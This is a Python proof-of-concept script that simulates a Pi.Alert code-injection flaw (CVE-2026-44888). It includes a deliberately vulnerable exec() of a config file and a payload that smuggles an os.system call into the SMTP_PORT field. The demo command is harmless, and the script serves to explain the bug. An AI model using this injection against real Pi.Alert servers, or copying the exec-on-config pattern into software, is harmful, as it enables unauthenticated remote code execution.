Vulnerable code sample

import os
import sys

# --- VULNERABLE PI-ALERT CODE (PRE-FIX) ---
# This is a simplified representation of the vulnerable code in Pi.Alert
# before the patch for CVE-2026-44888 was applied.

CONFIG_FILE = 'pialert.conf'

def SaveConfigFile(request_form_data):
    """
    Simulates the endpoint that saves configuration settings.
    It receives data, supposedly from a web form, and writes it to pialert.conf.
    """
    # In a real scenario, this function would read the existing config and update it.
    # For this demonstration, we'll just overwrite the file.
    
    # VULNERABILITY: User-supplied values are written directly into the
    # configuration file without any validation or sanitization.
    # Numeric fields like SMTP_PORT are not checked to ensure they are actually numbers.
    with open(CONFIG_FILE, 'w') as f:
        for key, value in request_form_data.items():
            f.write(f"{key} = {value}\n")
    print(f"[*] Configuration data written to {CONFIG_FILE}")


def run_cron_job():
    """
    Simulates the background cron process that runs every few minutes.
    It reads the pialert.conf file and executes it as Python code.
    """
    print("[*] Simulating cron job execution...")
    try:
        with open(CONFIG_FILE, 'r') as f:
            config_data = f.read()
            # VULNERABILITY TRIGGER: The content of the config file, which
            # an attacker has modified, is executed by the server.
            exec(config_data, {'__builtins__': __builtins__})
        print("[*] Cron job simulation finished.")
    except Exception as e:
        print(f"[!] Error during cron job execution: {e}")


if __name__ == '__main__':
    print("--- DEMONSTRATING CVE-2026-44888 ---")

    # 1. An attacker crafts a malicious payload.
    # The value for SMTP_PORT is not just a number, but a string containing
    # arbitrary Python code. The semicolon ends the variable assignment.
    attacker_payload = {
        'SMTP_HOST': "'smtp.example.com'",
        'SMTP_PORT': "587; __import__('os').system('echo RCE Successful > pwned.txt')"
    }
    
    print("\n[STEP 1] Attacker sends malicious data to the SaveConfigFile endpoint.")
    # 2. The attacker submits the payload. On a default Pi.Alert install,
    # this endpoint is unauthenticated.
    SaveConfigFile(attacker_payload)
    
    print(f"\n[STEP 2] The malicious payload is now in '{CONFIG_FILE}':")
    with open(CONFIG_FILE, 'r') as f:
        print("--- FILE CONTENT ---")
        print(f.read().strip())
        print("--------------------")

    print("\n[STEP 3] Waiting for the background cron process to run...")
    # 3. A few minutes later, the system's cron job executes the config file.
    run_cron_job()

    # 4. We check if the attacker's command was executed.
    if os.path.exists('pwned.txt'):
        print("\n[SUCCESS] Vulnerability exploited! 'pwned.txt' was created.")
        with open('pwned.txt', 'r') as f:
            print(f"File content: '{f.read().strip()}'")
        os.remove('pwned.txt') # Clean up
    else:
        print("\n[FAILURE] Exploit did not work as expected.")

    # Clean up the config file
    if os.path.exists(CONFIG_FILE):
        os.remove(CONFIG_FILE)